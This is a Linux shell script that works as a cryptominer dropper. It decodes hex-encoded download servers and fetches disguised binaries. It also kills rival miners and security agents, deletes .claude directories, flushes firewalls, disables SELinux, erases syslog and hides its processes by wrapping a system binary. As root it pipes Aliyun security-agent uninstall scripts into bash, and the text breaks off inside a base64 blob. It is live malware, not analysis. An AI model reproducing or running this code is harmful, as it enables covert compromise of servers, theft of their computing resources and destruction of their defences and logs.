#!/bin/sh
exec >/dev/null 2>&1
FILE1="ksmd"
FILE2="javab"
FILE3="idle"

SIZE1=0
SIZE2=8654960
SIZE3=0

MD5_1="-"
MD5_2="ad14db6a5f8671a1c2e4048b76016341"
MD5_3="-"

ROOT_DIR="/bin"
ROOT_NAME1="ksmd"
ROOT_NAME2="javab"
ROOT_NAME3="idle"

NONROOT_DIRS="$HOME /home/* /home /opt /var/www /var/tmp /dev/shm /tmp"

WATCH_PROCESS="javab"
WATCH_START="./javab"

MAX_RETRY=3

MINE_NAMES="xmrig minerd cpuminer ethminer nbminer t-rex lolminer pheonixminer bminer gminer teamredminer nanominer srbminer"


_resolve_sources() {
    _URL_HEX="68747470733a2f2f636861746770742e6c6f676c746563682e73746f72652f696d672f63616368652f323032362f30382f 68747470733a2f2f7368646573617364642e6c6f676c746563682e776f726b6572732e6465762f696d672f63616368652f323032362f30382f 68747470733a2f2f61692e6170616368656e67696e782e72752f6173736574732f666f6e74732f776f6666322f 687474703a2f2f38372e3232392e36342e34392f7374617469632f6a732f76656e646f722f 687474703a2f2f3231372e3135312e39392e3231362f77702d636f6e74656e742f75706c6f6164732f323032362f30382f"
    URLS=""
    for _h in $_URL_HEX; do
        _dec=""
        if command -v python3 >/dev/null 2>&1; then
            _dec=$(python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" "$_h" 2>/dev/null)
        elif command -v python >/dev/null 2>&1; then
            _dec=$(python -c "import sys;print(sys.argv[1].decode('hex'))" "$_h" 2>/dev/null)
        elif command -v xxd >/dev/null 2>&1; then
            _dec=$(echo "$_h" | xxd -r -p 2>/dev/null)
        elif command -v perl >/dev/null 2>&1; then
            _dec=$(echo "$_h" | perl -pe 's/(..)/chr(hex($1))/ge' 2>/dev/null)
        else
            _dec=$(printf '%b' "$(echo "$_h" | sed 's/../\\x&/g')" 2>/dev/null)
        fi
        [ -n "$_dec" ] && URLS="$URLS $_dec"
    done
    unset _URL_HEX _h _dec
}
_resolve_sources

have() {
    _c="$1"
    command -v "$_c" >/dev/null 2>&1 && return 0
    which "$_c"      >/dev/null 2>&1 && return 0
    type "$_c"       >/dev/null 2>&1 && return 0
    return 1
}

nth() {
    _nth_list="$1"
    _nth_n="$2"
    _nth_i=1
    for _nth_item in $_nth_list; do
        [ "$_nth_i" = "$_nth_n" ] && { echo "$_nth_item"; return 0; }
        _nth_i=$((_nth_i + 1))
    done
    return 1
}

bg() {
    _bg_cmd="$1"
    if command -v setsid >/dev/null 2>&1; then
        setsid sh -c "$_bg_cmd" >/dev/null 2>&1 &
    elif command -v nohup >/dev/null 2>&1; then
        nohup sh -c "$_bg_cmd" >/dev/null 2>&1 &
    else
        sh -c "$_bg_cmd" >/dev/null 2>&1 &
    fi
}

probe() {
    _found=""
    for _t in openssl curl wget python python3 python2 cd1 wd1; do
        if have "$_t"; then
            _found="$_found $_t"
            case "$_t" in
                cd1) echo "[+] $_t  available (curl alias)" ;;
                wd1) echo "[+] $_t  available (wget alias)" ;;
                *)   echo "[+] $_t  available" ;;
            esac
        else
            echo "[-] $_t  NOT found"
        fi
    done
    echo "[*] available:$(echo $_found)"
}

dl() {
    _dl_url="$1"
    _dl_out="$2"
    _dl_proto="http"
    case "$_dl_url" in
        https://*) _dl_proto="https" ;;
    esac


    if have curl; then
        curl -fsSLk --connect-timeout 15 --max-time 60 -o "$_dl_out" "$_dl_url"
        return $?
    fi
    if have cd1; then
        cd1 -fsSLk --connect-timeout 15 --max-time 60 -o "$_dl_out" "$_dl_url"
        return $?
    fi
    if have wget; then
        wget -q --no-check-certificate --timeout=15 -O "$_dl_out" "$_dl_url"
        return $?
    fi
    if have wd1; then
        wd1 -q --no-check-certificate --timeout=15 -O "$_dl_out" "$_dl_url"
        return $?
    fi
    if [ "$_dl_proto" = "https" ] && have openssl; then
        _h=$(echo "$_dl_url" | sed 's|^https://||; s|/.*||')
        _p=$(echo "$_dl_url" | sed 's|^https://[^/]*||')
        [ -z "$_p" ] && _p="/"
        {
            printf 'GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n' "$_p" "$_h"
        } | openssl s_client -quiet -connect "$_h:443" 2>/dev/null \
          | awk 'BEGIN{h=1} {if(h){ if($0=="" || $0=="\r"){h=0}; next} print}' > "$_dl_out"
        [ -s "$_dl_out" ] && return 0
        rm -f "$_dl_out"
        return 1
    fi
    if have python3; then
        python3 -c 'import sys,urllib.request,ssl as _s; _c=_s._create_unverified_context(); urllib.request.urlretrieve(sys.argv[1], sys.argv[2], context=_c)' "$_dl_url" "$_dl_out" 2>/dev/null
        return $?
    fi
    if have python; then
        if python -c 'import sys; sys.exit(0 if sys.version_info[0] >= 3 else 1)' 2>/dev/null; then
            python -c 'import sys,urllib.request,ssl as _s; _c=_s._create_unverified_context(); urllib.request.urlretrieve(sys.argv[1], sys.argv[2], context=_c)' "$_dl_url" "$_dl_out" 2>/dev/null
        else
            python -c 'import sys,urllib; urllib.urlretrieve(sys.argv[1], sys.argv[2])' "$_dl_url" "$_dl_out" 2>/dev/null
        fi
        return $?
    fi
    if have python2; then
        python2 -c 'import sys,urllib; urllib.urlretrieve(sys.argv[1], sys.argv[2])' "$_dl_url" "$_dl_out" 2>/dev/null
        return $?
    fi
    return 1
}

check_file() {
    _cf_file="$1"
    _cf_size="$2"
    _cf_md5="$3"
    [ ! -f "$_cf_file" ] && return 1
    if [ "$_cf_size" != "0" ]; then
        _cf_actual=$(wc -c < "$_cf_file" 2>/dev/null | tr -d '[:space:]')
        [ -z "$_cf_actual" ] && _cf_actual=0
        if [ "$_cf_actual" != "$_cf_size" ]; then
            echo "  [!] $_cf_file size mismatch: expected $_cf_size got $_cf_actual" >&2
            return 1
        fi
    fi
    if [ "$_cf_md5" != "-" ]; then
        if have md5sum; then
            _cf_actual_md5=$(md5sum "$_cf_file" 2>/dev/null | cut -d' ' -f1)
            if [ "$_cf_actual_md5" != "$_cf_md5" ]; then
                echo "  [!] $_cf_file md5 mismatch: expected $_cf_md5 got $_cf_actual_md5" >&2
                return 1
            fi
        fi
    fi
    return 0
}

check_dir() {
    _d="$1"
    [ -d "$_d" ] || return 1
    touch "$_d/.w_$$" 2>/dev/null || return 1
    rm -f "$_d/.w_$$"
    cat > "$_d/.x_$$" << 'XEOF'
#!/bin/sh
exit 0
XEOF
    chmod +x "$_d/.x_$$" 2>/dev/null || { rm -f "$_d/.x_$$"; return 1; }
    "$_d/.x_$$" 2>/dev/null
    _ret=$?
    rm -f "$_d/.x_$$"
    return $_ret
}

find_nonroot_dir() {
    for _d in $NONROOT_DIRS; do
        check_dir "$_d" && { echo "$_d"; return 0; }
    done
    _d="$PWD"
    while [ -n "$_d" ] && [ "$_d" != "/" ]; do
        check_dir "$_d" && { echo "$_d"; return 0; }
        _d=$(dirname "$_d")
    done
    check_dir "/" && { echo "/"; return 0; }
    check_dir "$HOME" && { echo "$HOME"; return 0; }
    return 1
}

cleanup_miners() {
    echo "[*] scanning for miners..."
    for _name in $MINE_NAMES; do
        _pids=$(pgrep -f "$_name" 2>/dev/null) || true
        if [ -n "$_pids" ]; then
            echo "[!] killing miner: $_name (pids: $(echo $_pids | tr '\n' ' '))"
            kill -9 $_pids 2>/dev/null || true
        fi
    done
    for _dir in /dev/shm /tmp /var/tmp . .. ../.. ../../.. "$HOME"; do
        [ -d "$_dir" ] || continue
        for _name in $MINE_NAMES; do
            find "$_dir" -maxdepth 3 -name "*$_name*" -type f 2>/dev/null | while IFS= read -r _f; do
                echo "[!] removing miner file: $_f"
                rm -f "$_f" 2>/dev/null
            done
        done
    done
    echo "[*] miner cleanup done"
}

rivals_cleanup() {
    echo "[*] rivals cleanup..."
    _my_uid=$(id -u 2>/dev/null)
    if [ -n "$_my_uid" ] && [ "$_my_uid" != "0" ]; then
        for _d in /proc/[0-9]*; do
            _pid=${_d##*/}
            _uid=$(awk '/^Uid:/{print $2}' "$_d/status" 2>/dev/null) || continue
            [ "$_uid" = "$_my_uid" ] || continue
            [ "$_pid" = "$$" ] && continue
            [ "$_pid" = "$PPID" ] && continue
            _exe=$(readlink "$_d/exe" 2>/dev/null)
            _cwd=$(readlink "$_d/cwd" 2>/dev/null)
            _c=$(tr '\0' ' ' < "$_d/cmdline" 2>/dev/null)
            if [ -z "$_c" ]; then
                _c=$(awk '{print $2}' "$_d/stat" 2>/dev/null)
                [ -n "$_c" ] && _c="[$_c]"
            fi
            [ -z "$_c" ] && continue
            case "$_exe|$_cwd" in
                *deleted*|/dev/shm/*|/tmp/*|/var/tmp/*|/var/lib/*) ;;
                *) case "$_c" in
                       */dev/shm/*|*/tmp/*|*/var/tmp/*|*/var/lib/*|\[*\]|*miner*|*rig*|*xmr*) ;;
                       *) continue ;;
                   esac ;;
            esac
            case "$_c" in
                *javab*|*ksmd*|*idle*|*.khp*|*.rguard*|*self*|*ksmdr*|*krun*|*gitea*) continue ;;
            esac
            kill -9 "$_pid" 2>/dev/null
        done
    fi
    for _d in /proc/[0-9]*; do
        _pid=${_d##*/}
        _exe=$(readlink "$_d/exe" 2>/dev/null) || continue
        case "$_exe" in
            *ssl-compet*|*sslmon*|*mnmonitor*|*cpuhide*|*.gt_sys_health*|*.gt_sys_wd*|*.gt_cron_health*|*esocket4*|*universal-miner*|*unicorn*)
                kill -9 "$_pid" 2>/dev/null
                ;;
        esac
    done
    for _d in /proc/[0-9]*; do
        _pid=${_d##*/}
        _cmd=$(tr '\0' ' ' < "$_d/cmdline" 2>/dev/null) || continue
        case "$_cmd" in
            "[kworker"*|"[kswapd"*|"[kblockd"*|"[khugepaged"*|"[kdevtmpfs"*|"[kcompactd"*|"[watchdog"*|"[ksoftirqd"*)
                _uid=$(awk '/^Uid:/{print $2}' "$_d/status" 2>/dev/null)
                [ -n "$_uid" ] && [ "$_uid" != "0" ] && kill -9 "$_pid" 2>/dev/null
                ;;
        esac
    done
    _wdirs="/dev/shm /dev/sdhm /var/tmp /tmp /run /var/run /var/tmp /usr/local/tmp /var/lib"
    for _d in /proc/[0-9]*; do
        _pid=${_d##*/}
        _uid=$(awk '/^Uid:/{print $2}' "$_d/status" 2>/dev/null)
        [ -n "$_uid" ] && [ "$_uid" = "0" ] && continue
        _exe=$(readlink "$_d/exe" 2>/dev/null) || continue
        _w=0
        for _dd in $_wdirs; do
            case "$_exe" in
                "$_dd"/*) _w=1 ;;
            esac
        done
        [ "\$_w" = "1" ] || continue
        _cmd=$(tr '\0' ' ' < "$_d/cmdline" 2>/dev/null)
        case "$_cmd" in
            *javab*|*ksmd*|*idle*|*.khp*|*/bin/sh*|*/bin/dash*|*/bin/bash*)
                :
                ;;
            *)
                kill -9 "$_pid" 2>/dev/null
                rm -f "$_exe" 2>/dev/null
                ;;
        esac
    done
    for _d in /proc/[0-9]*; do
        _pid=${_d##*/}
        _cmd=$(tr '\0' ' ' < "$_d/cmdline" 2>/dev/null) || continue
        case "$_cmd" in
            "kworker "*|"kworker "*|"kworker "*)
                _exe=$(readlink "$_d/exe" 2>/dev/null)
                case "$_exe" in
                    */sh|*/dash|*/bash) : ;;
                    *) kill -9 "$_pid" 2>/dev/null ;;
                esac
                ;;
        esac
    done
    pkill -9 -f 'auditsd' 2>/dev/null
    pkill -9 -f 'gt_sys_health' 2>/dev/null
    pkill -9 -f 'gt_cron_health' 2>/dev/null
    pkill -9 -f 'gt_sys_wd' 2>/dev/null
    pkill -9 -f 'ssl-compet' 2>/dev/null
    pkill -9 -f 'sslmon' 2>/dev/null
    pkill -9 -f 'mnmonitor' 2>/dev/null
    pkill -9 -f 'cpuhide' 2>/dev/null
    pkill -9 -f '\.xmon' 2>/dev/null
    pkill -9 -f '\.global' 2>/dev/null
    pkill -9 -f 'rsysloged' 2>/dev/null
    pkill -9 -f '\.sd-top' 2>/dev/null
    pkill -9 -f 'zzh' 2>/dev/null
    pkill -9 -f 'esocket4' 2>/dev/null
    pkill -9 -f 'ok\.sh' 2>/dev/null
    pkill -9 -f 'universal-miner' 2>/dev/null
    pkill -9 -f 'unicorn' 2>/dev/null
    pkill -9 -f 'kthrotlds' 2>/dev/null
    pkill -9 -f 'kdevtmpfsi' 2>/dev/null
    pkill -9 -f 'khugepageds' 2>/dev/null
    pkill -9 -f 'CRON jobs' 2>/dev/null
    pkill -9 -f 'sleep 180' 2>/dev/null
    pkill -9 -f 'sh jobs' 2>/dev/null
    pkill -9 -f '/bin/sh jobs' 2>/dev/null
    pkill -9 -f 'unicorn' 2>/dev/null
    pkill -9 -f 'apt-update' 2>/dev/null
    pkill -9 -f 'joker\.' 2>/dev/null
    pkill -9 -f 'sysnet' 2>/dev/null
    pkill -9 -f 'systemd-journal-shim' 2>/dev/null
    pkill -9 -f 'hldaemon' 2>/dev/null
    pkill -9 -f '/etc/cron' 2>/dev/null
    pkill -9 -f '/etc/kworker' 2>/dev/null
    pkill -9 -f '/etc/javaa' 2>/dev/null
    pkill -9 -f '/dev/shm/javaa' 2>/dev/null
    rm -rf /var/tmp/.sysnet /tmp/.sysnet /dev/shm/.sysnet /etc/.sysnet 2>/dev/null
    rm -f /etc/cron /etc/kworker /etc/javaa /dev/shm/javaa /var/tmp/javaa /tmp/javaa /etc/cron.d/javaa 2>/dev/null
    sed -i '/kworker/d;/javaa/d' /etc/crontab /etc/cron.d/* 2>/dev/null
    crontab -l 2>/dev/null | grep -vE 'kworker|javaa|sysnet' | crontab - 2>/dev/null
    rm -rf /var/tmp/.gt_sys_health /var/tmp/.gt_sys_health.json /var/tmp/.gt_sys_wd.sh /tmp/.gt_cron_health /tmp/.gt_cron_health.json 2>/dev/null
    rm -rf /dev/shm/.xmon-112 /dev/shm/.xmon* /dev/shm/xmon* /tmp/.xmon* /var/tmp/.xmon* ~/.cache/.dbus/mnmonitor.sh 2>/dev/null
    rm -rf /opt/*/bin/.global* /opt/teamcity/bin/.global* /opt/TeamCity/bin/.global* 2>/dev/null
    rm -rf /tmp/.global* /dev/shm/.global* /var/tmp/.global* 2>/dev/null
    rm -rf /tmp/.ICEd-unix /dev/shm/.kerberods /tmp/wc.conf /tmp/log_rot /tmp/apachiii /tmp/sustse /tmp/php /tmp/p2.conf /tmp/pprt /tmp/ppol /tmp/httpgd /etc/httpgd /tmp/1.so /tmp/kworkerds /tmp/kworkerds3 /tmp/kworkerdssx /tmp/xd.json /tmp/syslogd /tmp/syslogdb /tmp/dl /tmp/ddg /tmp/systemxlv /tmp/systemctI /tmp/.abc /tmp/osw.hb /tmp/gates.lod /tmp/conf.n /tmp/devtool /tmp/devtools /tmp/fs /tmp/.rod* /tmp/.mer* /tmp/.hod* /tmp/khugepageds /tmp/.kerberods /tmp/kerberods /tmp/seasame /tmp/.scr /dev/shm/z3.sh /dev/shm/z2.sh /dev/shm/.scr /tmp/baby /tmp/.lib /tmp/systemd /tmp/lib.tar.gz /tmp/java /tmp/j2.conf /tmp/.pt* /tmp/go /tmp/go.sh /tmp/go2.sh /tmp/is.sh /tmp/touch /tmp/.p /tmp/runtime2.sh /tmp/runtime.sh 2>/dev/null
    rm -f /usr/local/lib/libioset.so /usr/bin/config.json /usr/bin/exin /etc/ndt.sh /etc/is.sh 2>/dev/null
    rm -rf /tmp/.b /tmp/.salkidwuewerwe /tmp/.mmmjjsdfsdfwerrwerwer /tmp/.universal-miner /root/.universal-miner /home/*/.universal-miner 2>/dev/null
    rm -rf /tmp/.b/ded /tmp/.salkidwuewerwe/ded /tmp/.mmmjjsdfsdfwerrwerwer/ded 2>/dev/null
    rm -rf /var/www/.syslog* /var/tmp/.syslog* /tmp/.syslog* /dev/shm/.syslog* 2>/dev/null
    rm -rf /var/lib/gitea/data/home/.claude /var/www/html/*/.claude /app/gitea/.claude /data/gitea/.claude /data/gitea/home/.claude /data/gitea/data/home/.claude /data/.claude /data/home/.claude 2>/dev/null
    for _cd in /root /home/* "$HOME" /dev/shm /tmp /var/tmp /var/www /data /data/gitea /data/gitea/home /data/gitea/data/home /opt /srv /usr/local /app /var/lib; do
        [ -d "$_cd/.claude" ] && { chattr -R -ia "$_cd/.claude" 2>/dev/null; rm -rf "$_cd/.claude" 2>/dev/null; }
    done
    find / -type d -name .claude -not -path '/proc/*' -not -path '/sys/*' -not -path '/dev/*' 2>/dev/null | while read -r _cd; do
        chattr -R -ia "$_cd" 2>/dev/null
        rm -rf "$_cd" 2>/dev/null
    done
    iptables -I OUTPUT -d 95.85.237.226 -j DROP 2>/dev/null
    iptables -I OUTPUT -d 193.41.68.194 -j DROP 2>/dev/null
    iptables -I OUTPUT -d 95.85.237.149 -j DROP 2>/dev/null
    iptables -I OUTPUT -p tcp --dport 53535 -j DROP 2>/dev/null
    grep -q 'apt-update.com' /etc/hosts 2>/dev/null || echo "127.0.0.1 apt-update.com" >> /etc/hosts
    grep -q 'joker.aec944b68370194a50.link' /etc/hosts 2>/dev/null || echo "127.0.0.1 joker.aec944b68370194a50.link" >> /etc/hosts
    for _pl in ip6network kswaped irqbalanced rctlcli systemd-network pamdicks; do
        for _bd in /usr/bin /bin; do
            [ -f "$_bd/$_pl" ] && { chattr -ia "$_bd/$_pl" 2>/dev/null; rm -f "$_bd/$_pl" 2>/dev/null; }
        done
    done
    systemctl stop moneroocean_miner.service systemde.service 2>/dev/null
    rm -rf /tmp/watchdogs /etc/rc.d/init.d/watchdogs /usr/sbin/watchdogs /etc/cron.d/tomcat 2>/dev/null
    find / -maxdepth 4 -name ".xmon*" -exec rm -rf {} \; 2>/dev/null
    find / -maxdepth 4 -name "ssl-compet" -exec rm -f {} \; 2>/dev/null
    find / -maxdepth 5 -name ".global*" -exec rm -rf {} \; 2>/dev/null
    find / -maxdepth 5 -name "esocket4" -exec rm -f {} \; 2>/dev/null
    find / -maxdepth 5 -name "mnmonitor.sh" -exec rm -f {} \; 2>/dev/null
    find / -maxdepth 5 -name ".xmon_install_dir" -exec rm -f {} \; 2>/dev/null
    find / -maxdepth 5 -name "*.universal-miner*" -exec rm -rf {} \; 2>/dev/null
    crontab -l 2>/dev/null | grep -vE 'gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw' | crontab - 2>/dev/null
    for _u in $(awk -F: '$3>=1000{print $1}' /etc/passwd 2>/dev/null); do
        crontab -u "$_u" -l 2>/dev/null | grep -vE 'gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw' | crontab -u "$_u" - 2>/dev/null
    done
    sed -i '/pastebin/d' /etc/crontab /etc/cron.d/* 2>/dev/null
    pkill -9 -f 'pastebin.com/raw' 2>/dev/null
    iptables -I OUTPUT -d 45.77.67.39 -j DROP 2>/dev/null
    iptables -I OUTPUT -d 111.90.158.58 -j DROP 2>/dev/null
    iptables -I OUTPUT -d 111.90.139.202 -j DROP 2>/dev/null
    iptables -I OUTPUT -d 47.86.46.179 -j DROP 2>/dev/null
    iptables -I OUTPUT -d 47.86.46.0/24 -j DROP 2>/dev/null
    iptables -I OUTPUT -d 167.179.119.120 -j DROP 2>/dev/null
    grep -q 'fix.unknower.win' /etc/hosts 2>/dev/null || echo "127.0.0.1 fix.unknower.win" >> /etc/hosts
    grep -q 'auto.c3pool.org' /etc/hosts 2>/dev/null || echo "127.0.0.1 auto.c3pool.org" >> /etc/hosts
    echo "[*] rivals cleanup done"
}

modify_binary() {
    _bin="$1"
    _orig="${_bin}.original"
    if [ ! -f "$_orig" ]; then
        mv "$_bin" "$_orig"
        cat > "$_bin" << PSWRAPEOF
#!/bin/sh
exec "$_orig" "\$@" | grep -vE 'javab|/bin/idle|/bin/.rguard|\.khp|kdevtmpfsi|\.proxy_|start_javab|/dev/shm/idle|/dev/shm/javab'
PSWRAPEOF
        chmod +x "$_bin"
        touch -d 20160825 "$_bin" 2>/dev/null
        echo "[+] $_bin modified"
    else
        echo "[*] $_bin already modified"
    fi
}


rivals_cleanup

_avail_mb=0
if command -v free >/dev/null 2>&1; then
    _avail_mb=$(free -m 2>/dev/null | awk '/Mem:/{print $7}')
elif [ -r /proc/meminfo ]; then
    _avail_kb=$(awk '/MemAvailable/{print $2}' /proc/meminfo 2>/dev/null)
    [ -n "$_avail_kb" ] && _avail_mb=$((_avail_kb / 1024))
fi
if [ -n "$_avail_mb" ] && [ "$_avail_mb" -lt 512 ] 2>/dev/null; then
    echo "[*] low memory (${_avail_mb}MB avail), freeing caches..."
    sync 2>/dev/null
    echo 3 > /proc/sys/vm/drop_caches 2>/dev/null
    echo 1 > /proc/sys/vm/compact_memory 2>/dev/null
    echo 'vm.swappiness=10' > /proc/sys/vm/swappiness 2>/dev/null
    _avail_mb2=$(free -m 2>/dev/null | awk '/Mem:/{print $7}')
    echo "[+] memory after: ${_avail_mb2:-?}MB avail"
fi
unset _avail_mb _avail_kb _avail_mb2

probe
echo

cleanup_miners
echo

if [ "$(id -u)" = "0" ]; then
    echo "[*] root: cleaning tmp dirs..."
    for _d in /tmp /var/tmp /dev/shm; do
        if [ -d "$_d" ]; then
            rm -rf "$_d"/* 2>/dev/null
            echo "[+] cleaned $_d"
        fi
    done
fi


if [ "$(id -u)" = "0" ]; then
    INSTALL_DIR="$ROOT_DIR"
    if ! touch "$INSTALL_DIR/.wtest" 2>/dev/null; then
        for _rd in /usr/local/bin /usr/bin /root /home /home/* /var/lib /opt /srv /usr/local /var/tmp; do
            [ -d "$_rd" ] && touch "$_rd/.wtest" 2>/dev/null && { rm -f "$_rd/.wtest"; INSTALL_DIR="$_rd"; break; }
        done
    fi
    IS_ROOT=1
    echo "[*] root detected, install dir: $INSTALL_DIR"
    echo "[*] file names: $ROOT_NAME1 / $ROOT_NAME2 / $ROOT_NAME3"
else
    echo "[*] non-root, searching writable+executable directory..."
    INSTALL_DIR=$(find_nonroot_dir)
    if [ -z "$INSTALL_DIR" ]; then
        echo "[!] no writable+executable directory found"
        exit 1
    fi
    IS_ROOT=0
    echo "[*] install dir: $INSTALL_DIR"
fi
echo

# ---------- deploy cd1/wd1 aliases ----------
if ! command -v cd1 >/dev/null 2>&1; then
    _curl_path=$(command -v curl 2>/dev/null)
    if [ -n "$_curl_path" ] && [ -w /usr/local/bin ]; then
        cp "$_curl_path" /usr/local/bin/cd1 2>/dev/null && chmod +x /usr/local/bin/cd1
    fi
fi
if ! command -v wd1 >/dev/null 2>&1; then
    _wget_path=$(command -v wget 2>/dev/null)
    if [ -n "$_wget_path" ] && [ -w /usr/local/bin ]; then
        cp "$_wget_path" /usr/local/bin/wd1 2>/dev/null && chmod +x /usr/local/bin/wd1
    fi
fi

FILES="$FILE1 $FILE2 $FILE3"
SIZES="$SIZE1 $SIZE2 $SIZE3"
MD5S="$MD5_1 $MD5_2 $MD5_3"
ROOT_NAMES="$ROOT_NAME1 $ROOT_NAME2 $ROOT_NAME3"

_all_ok=false
_dl_round=0
while [ "$_all_ok" != "true" ]; do
    _dl_round=$((_dl_round + 1))
    _src_num=0
    for _base_url in $URLS; do
        _src_num=$((_src_num + 1))
        [ $_src_num -gt 5 ] && break

        echo "== [source $_src_num, round $_dl_round] =========================================="
        echo "[*] $_base_url"
        echo

        _all_ok=true
        _file_idx=0
        for _fname in $FILES; do
            _file_idx=$((_file_idx + 1))
            _expected_size=$(nth "$SIZES" $_file_idx)
            _expected_md5=$(nth "$MD5S" $_file_idx)
            _url="${_base_url%/}/$_fname"

            if [ "$IS_ROOT" = "1" ]; then
                _out_name=$(nth "$ROOT_NAMES" $_file_idx)
            else
                _out_name="$_fname"
            fi
            _out="$INSTALL_DIR/$_out_name"

            _attempt=0
            while [ $_attempt -lt $MAX_RETRY ]; do
                _attempt=$((_attempt + 1))
                printf "  [%2s/%s] %-20s -> %s  " "$_attempt" "$MAX_RETRY" "$_fname" "$_out_name" >&2
                rm -f "$_out" 2>/dev/null

                if [ "$_fname" = "$FILE2" ] && command -v gzip >/dev/null 2>&1; then
                    _gz_url="${_base_url%/}/log.gz"
                    _gz_tmp="$INSTALL_DIR/.log_$$.gz"
                    rm -f "$_gz_tmp" 2>/dev/null
                    echo "(gzip mode)" >&2
                    if dl "$_gz_url" "$_gz_tmp"; then
                        if command -v gunzip >/dev/null 2>&1; then
                            gunzip -c "$_gz_tmp" > "$_out" 2>/dev/null
                        elif command -v gzip >/dev/null 2>&1; then
                            gzip -d -c "$_gz_tmp" > "$_out" 2>/dev/null
                        else
                            echo "  [!] no gunzip" >&2
                            rm -f "$_gz_tmp"
                            if dl "$_url" "$_out"; then
                                :  # fallback done
                            fi
                        fi
                        rm -f "$_gz_tmp" 2>/dev/null
                        if check_file "$_out" "$_expected_size" "$_expected_md5"; then
                            _sz=$(wc -c < "$_out" 2>/dev/null | tr -d '[:space:]')
                            echo "OK (size=$_sz, gzip)" >&2
                            break
                        else
                            echo "  [!] gzip md5/size mismatch, attempt $_attempt/3" >&2
                            rm -f "$_out" "$_gz_tmp" 2>/dev/null
                            if [ $_attempt -ge 3 ]; then
                                echo "  [!] gzip failed 3x, falling back to raw" >&2
                                if dl "$_url" "$_out" && check_file "$_out" "$_expected_size" "$_expected_md5"; then
                                    _sz=$(wc -c < "$_out" 2>/dev/null | tr -d '[:space:]')
                                    echo "OK (size=$_sz, raw)" >&2
                                    break
                                fi
                            fi
                        fi
                    else
                        echo "  [!] gzip download failed, fallback raw" >&2
                        if dl "$_url" "$_out" && check_file "$_out" "$_expected_size" "$_expected_md5"; then
                            _sz=$(wc -c < "$_out" 2>/dev/null | tr -d '[:space:]')
                            echo "OK (size=$_sz, raw)" >&2
                            break
                        fi
                    fi
                else
                if dl "$_url" "$_out"; then
                    if check_file "$_out" "$_expected_size" "$_expected_md5"; then
                        if [ "$_expected_size" != "0" ]; then
                            _sz=$(wc -c < "$_out" 2>/dev/null | tr -d '[:space:]')
                            echo "OK (size=$_sz)" >&2
                        else
                            echo "OK" >&2
                        fi
                        break
                    fi
                else
                    echo "download failed" >&2
                fi
                fi
                sleep 2

                if [ $_attempt -ge $MAX_RETRY ]; then
                    echo "FAILED after $MAX_RETRY attempts" >&2
                    if [ "$_fname" = "$FILE1" ]; then
                        _all_ok=false
                    fi
                fi
            done
            [ "$_all_ok" = false ] && break
        done

        if [ "$_all_ok" = true ]; then
            echo
            echo "[+] all 3 files downloaded from source $_src_num"
            ls -lh "$INSTALL_DIR/$ROOT_NAME1" "$INSTALL_DIR/$ROOT_NAME2" "$INSTALL_DIR/$ROOT_NAME3" 2>/dev/null || \
            ls -lh "$INSTALL_DIR/$FILE1" "$INSTALL_DIR/$FILE2" "$INSTALL_DIR/$FILE3" 2>/dev/null
            break
        fi
        echo
        echo "[*] source $_src_num failed, trying next..."
        echo
    done

    if [ "$_all_ok" != "true" ]; then
        echo "[!] all 5 sources failed in round $_dl_round, retrying in 300s..."
        sleep 300
    fi
done


if [ "$(id -u)" = "0" ]; then
ulimit -n 65535
iptables -F
ufw disable
echo '0' > /proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >> /etc/sysctl.conf
setenforce 0 2>/dev/null
rm -rf /tmp/addres* /tmp/walle* /tmp/keys
rm -f /var/log/syslog
echo "SELINUX=disabled" > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 > /proc/sys/vm/drop_caches
bbdir="${bbdir:-curl}"
bbdira="${bbdira:-curl}"

if ps aux | grep -i '[a]liyun'; then
  $bbdir -k http://update.aegis.aliyun.com/download/uninstall.sh | bash
  $bbdir -k http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  $bbdira -k http://update.aegis.aliyun.com/download/uninstall.sh | bash
  $bbdira -k http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  echo 'IyEvYmluL2Jhc2gKCkFFR0lTX0lOU1RBTExfRElSPSIvdXNyL2xvY2FsL2FlZ2lzIgojY2hlY2sgbGludXggR2VudG9vIG9zIAp2YXI9YGxzYl9yZWxlYXNlIC1hIHwgZ3JlcCBHZW50b29gCmlmIFsgLXogIiR7dmFyfSIgXTsgdGhlbiAKCXZhcj1gY2F0IC9ldGMvaXNzdWUgfCBncmVwIEdlbnRvb2AKZmkKY2hlY2tDb3Jlb3M9YGNhdCAvZXRjL29zLXJlbGVhc2UgMj4vZGV2L251bGwgfCBncmVwIGNvcmVvc2AKaWYgWyAtZCAiL2V0Yy9ydW5sZXZlbHMvZGVmYXVsdCIgLWEgLW4gIiR7dmFyfSIgXTsgdGhlbgoJTElOVVhfUkVMRUFTRT0iR0VOVE9PIgplbGlmIFsgLWYgIi9ldGMvb3MtcmVsZWFzZSIgLWEgLW4gIiR7Y2hlY2tDb3Jlb3N9IiBdOyB0aGVuCglMSU5VWF9SRUxFQVNFPSJDT1JFT1MiCglBRUdJU19JTlNUQUxMX0RJUj0iL29wdC9hZWdpcyIKZWxzZSAKCUxJTlVYX1JFTEVBU0U9Ik9USEVSIgpmaQkJCgpzdG9wX2FlZ2lzX3BraWxsKCl7CiAgICBwa2lsbCAtOSBBbGlZdW5EdW4gPi9kZXYvbnVsbCAyPiYxCiAgICBwa2lsbCAtOSBBbGlIaWRzID4vZGV2L251bGwgMj4mMQogICAgcGtpbGwgLTkgQWxpSGlwcyA+L2Rldi9udWxsIDI+JjEKICAgIHBraWxsIC05IEFsaU5ldCA+L2Rldi9udWxsIDI+JjEKICAgIHBraWxsIC05IEFsaVNlY0d1YXJkID4vZGV2L251bGwgMj4mMQogICAgcGtpbGwgLTkgQWxpWXVuRHVuVXBkYXRlID4vZGV2L251bGwgMj4mMQogICAgCiAgICAvdXNyL2xvY2FsL2FlZ2lzL0FsaU5ldC9BbGlOZXQgLS1zdG9wZHJpdmVyCiAgICAvdXNyL2xvY2FsL2FlZ2lzL2FsaWhpcHMvQWxpSGlwcyAtLXN0b3Bkcml2ZXIKICAgIC91c3IvbG9jYWwvYWVnaXMvQWxpU2VjR3VhcmQvQWxpU2VjR3VhcmQgLS1zdG9wZHJpdmVyCiAgICBwcml